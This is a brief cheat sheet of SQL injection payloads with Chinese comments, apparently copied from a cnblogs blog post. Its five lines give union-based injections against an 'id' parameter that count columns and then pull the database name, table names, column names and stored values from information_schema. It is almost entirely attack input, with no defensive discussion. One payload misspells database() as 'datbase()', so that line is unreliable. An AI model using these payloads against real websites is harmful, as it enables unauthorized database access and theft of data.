id=‘1‘ order by 3 --+ //%20是空格，%23是#
id=‘2‘ and 1=2 union select 1,2,datbase()--+ //查数据库
id=‘3‘ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查表
id=‘4‘ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+ //查字段
id=‘5‘ and 1=2 union select 1,2,[column name] from [table name] --+ //查值
原文：https://www.cnblogs.com/Zeker62/p/15194845.html